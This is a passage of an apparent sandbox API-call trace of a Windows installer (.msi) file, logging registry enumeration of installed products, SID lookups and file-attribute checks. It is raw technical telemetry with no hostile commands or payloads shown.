[0068.826] memcpy (in: _Dst=0x349b78, _Src=0x349028, _Size=0x48 | out: _Dst=0x349b78) returned 0x349b78 [0068.826] memcpy (in: _Dst=0x349b30, _Src=0x348fe0, _Size=0x48 | out: _Dst=0x349b30) returned 0x349b30 [0068.826] memcpy (in: _Dst=0x349ae8, _Src=0x348f98, _Size=0x48 | out: _Dst=0x349ae8) returned 0x349ae8 [0068.826] memcpy (in: _Dst=0x349aa0, _Src=0x348f50, _Size=0x48 | out: _Dst=0x349aa0) returned 0x349aa0 [0068.826] memcpy (in: _Dst=0x349a58, _Src=0x348f08, _Size=0x48 | out: _Dst=0x349a58) returned 0x349a58 [0068.826] memcpy (in: _Dst=0x349a10, _Src=0x348ec0, _Size=0x48 | out: _Dst=0x349a10) returned 0x349a10 [0068.826] memcpy (in: _Dst=0x3499c8, _Src=0x348e78, _Size=0x48 | out: _Dst=0x3499c8) returned 0x3499c8 [0068.826] memcpy (in: _Dst=0x349980, _Src=0x348e30, _Size=0x48 | out: _Dst=0x349980) returned 0x349980 [0068.826] memcpy (in: _Dst=0x349938, _Src=0x348de8, _Size=0x48 | out: _Dst=0x349938) returned 0x349938 [0068.826] memcpy (in: _Dst=0x3498f0, _Src=0x348da0, _Size=0x48 | out: _Dst=0x3498f0) returned 0x3498f0 [0068.826] memcpy (in: _Dst=0x3498a8, _Src=0x348d58, _Size=0x48 | out: _Dst=0x3498a8) returned 0x3498a8 [0068.826] memcpy (in: _Dst=0x349860, _Src=0x348d10, _Size=0x48 | out: _Dst=0x349860) returned 0x349860 [0068.826] memcpy (in: _Dst=0x349818, _Src=0x348cc8, _Size=0x48 | out: _Dst=0x349818) returned 0x349818 [0068.826] memcpy (in: _Dst=0x3497d0, _Src=0x348c80, _Size=0x48 | out: _Dst=0x3497d0) returned 0x3497d0 [0068.826] memcpy (in: _Dst=0x349788, _Src=0x348c38, _Size=0x48 | out: _Dst=0x349788) returned 0x349788 [0068.826] memcpy (in: _Dst=0x349740, _Src=0x348bf0, _Size=0x48 | out: _Dst=0x349740) returned 0x349740 [0068.826] memcpy (in: _Dst=0x3496f8, _Src=0x348ba8, _Size=0x48 | out: _Dst=0x3496f8) returned 0x3496f8 [0068.826] memcpy (in: _Dst=0x3496b0, _Src=0x348b60, _Size=0x48 | out: _Dst=0x3496b0) returned 0x3496b0 [0068.826] memcpy (in: _Dst=0x349668, _Src=0x348b18, _Size=0x48 | out: _Dst=0x349668) returned 0x349668 [0068.826] memcpy (in: _Dst=0x349620, _Src=0x348ad0, _Size=0x48 | out: _Dst=0x349620) returned 0x349620 [0068.826] memcpy (in: _Dst=0x3495d8, _Src=0x348a88, _Size=0x48 | out: _Dst=0x3495d8) returned 0x3495d8 [0068.826] memcpy (in: _Dst=0x349590, _Src=0x348a40, _Size=0x48 | out: _Dst=0x349590) returned 0x349590 [0068.826] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="DFECB1C59746B40409533AEE5790F5A6", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.826] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.827] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}") returned 38 [0068.827] lstrlenW (lpString="C3AEB2FCAE628F23AAB933F1E743AB79") returned 32 [0068.827] lstrlenW (lpString="C3AEB2FCAE628F23AAB933F1E743AB79") returned 32 [0068.827] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.827] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\C3AEB2FCAE628F23AAB933F1E743AB79", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.827] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.827] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.827] lstrlenW (lpString="0") returned 1 [0068.827] lstrlenW (lpString="0") returned 1 [0068.827] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.827] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{5C1BCEFD-6479-404B-9035-A3EE75095F6A}") returned 1 [0068.827] GetCurrentThreadId () returned 0xf50 [0068.827] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.827] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x29, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="D4DB3CB2ABAF4934397CA98CA262F32E", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.827] GetCurrentThreadId () returned 0xf50 [0068.827] GetCurrentThreadId () returned 0xf50 [0068.827] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.828] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.828] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.828] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.828] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.828] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.828] GetCurrentThreadId () returned 0xf50 [0068.828] GetCurrentThreadId () returned 0xf50 [0068.828] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.828] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.828] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.828] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.828] LocalFree (hMem=0x32f770) returned 0x0 [0068.828] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.828] GetCurrentThreadId () returned 0xf50 [0068.828] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.828] lstrlenW (lpString="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}") returned 38 [0068.828] lstrlenW (lpString="D4DB3CB2ABAF4934397CA98CA262F32E") returned 32 [0068.828] GetCurrentThreadId () returned 0xf50 [0068.828] GetCurrentThreadId () returned 0xf50 [0068.828] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.828] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.829] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.829] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.829] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.829] lstrlenW (lpString="D4DB3CB2ABAF4934397CA98CA262F32E") returned 32 [0068.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.829] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\D4DB3CB2ABAF4934397CA98CA262F32E", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.829] GetCurrentThreadId () returned 0xf50 [0068.829] GetCurrentThreadId () returned 0xf50 [0068.829] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.829] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.829] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.829] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.829] LocalFree (hMem=0x32f770) returned 0x0 [0068.829] lstrlenW (lpString="D4DB3CB2ABAF4934397CA98CA262F32E") returned 32 [0068.829] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.829] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\D4DB3CB2ABAF4934397CA98CA262F32E", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.829] lstrlenW (lpString="D4DB3CB2ABAF4934397CA98CA262F32E") returned 32 [0068.829] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.829] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\D4DB3CB2ABAF4934397CA98CA262F32E", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.829] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="489936CD88B87BD46AE5E0C5BC12AE1B", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.829] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.830] lstrlenW (lpString="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}") returned 38 [0068.830] lstrlenW (lpString="D4DB3CB2ABAF4934397CA98CA262F32E") returned 32 [0068.830] lstrlenW (lpString="D4DB3CB2ABAF4934397CA98CA262F32E") returned 32 [0068.830] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.830] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\D4DB3CB2ABAF4934397CA98CA262F32E", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.830] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.830] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.830] lstrlenW (lpString="0") returned 1 [0068.830] lstrlenW (lpString="0") returned 1 [0068.830] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.830] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{DC639984-8B88-4DB7-A65E-0E5CCB21EAB1}") returned -1 [0068.830] GetCurrentThreadId () returned 0xf50 [0068.830] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.830] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x2a, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DC8A59DBF9D1DA5389A1E3975220E6BB", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.830] GetCurrentThreadId () returned 0xf50 [0068.830] GetCurrentThreadId () returned 0xf50 [0068.830] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.831] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.831] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.831] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.831] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.831] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.831] GetCurrentThreadId () returned 0xf50 [0068.831] GetCurrentThreadId () returned 0xf50 [0068.831] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.831] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.831] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.831] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.831] LocalFree (hMem=0x32f770) returned 0x0 [0068.831] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.831] GetCurrentThreadId () returned 0xf50 [0068.831] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.831] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 38 [0068.831] lstrlenW (lpString="DC8A59DBF9D1DA5389A1E3975220E6BB") returned 32 [0068.831] GetCurrentThreadId () returned 0xf50 [0068.831] GetCurrentThreadId () returned 0xf50 [0068.831] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.831] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.832] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.832] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.832] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.832] lstrlenW (lpString="DC8A59DBF9D1DA5389A1E3975220E6BB") returned 32 [0068.832] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.832] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\DC8A59DBF9D1DA5389A1E3975220E6BB", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.832] GetCurrentThreadId () returned 0xf50 [0068.832] GetCurrentThreadId () returned 0xf50 [0068.832] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.832] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.832] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.832] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.832] LocalFree (hMem=0x32f770) returned 0x0 [0068.832] lstrlenW (lpString="DC8A59DBF9D1DA5389A1E3975220E6BB") returned 32 [0068.832] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.832] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\DC8A59DBF9D1DA5389A1E3975220E6BB", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.832] lstrlenW (lpString="DC8A59DBF9D1DA5389A1E3975220E6BB") returned 32 [0068.832] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.832] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\DC8A59DBF9D1DA5389A1E3975220E6BB", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.832] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="3EB83B319B95F3645B773BEF173ADAA3", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.833] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.833] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 38 [0068.833] lstrlenW (lpString="DC8A59DBF9D1DA5389A1E3975220E6BB") returned 32 [0068.833] lstrlenW (lpString="DC8A59DBF9D1DA5389A1E3975220E6BB") returned 32 [0068.833] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.833] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\DC8A59DBF9D1DA5389A1E3975220E6BB", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.833] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.833] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.833] lstrlenW (lpString="0") returned 1 [0068.833] lstrlenW (lpString="0") returned 1 [0068.833] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.833] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{13B38BE3-59B9-463F-B577-B3FE71A3AD3A}") returned 1 [0068.833] GetCurrentThreadId () returned 0xf50 [0068.833] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.833] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x2b, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="￿￿￿￿\x01", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.833] GetCurrentThreadId () returned 0xf50 [0068.834] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.834] GetCurrentThreadId () returned 0xf50 [0068.834] GetCurrentThreadId () returned 0xf50 [0068.834] SetEvent (hEvent=0x170) returned 1 [0068.834] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0068.837] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0068.837] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x33d308 | out: phkResult=0x33d308*=0x0) returned 0x2 [0068.837] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.838] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi")) returned 0x20 [0068.838] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.838] StgOpenStorage (in: 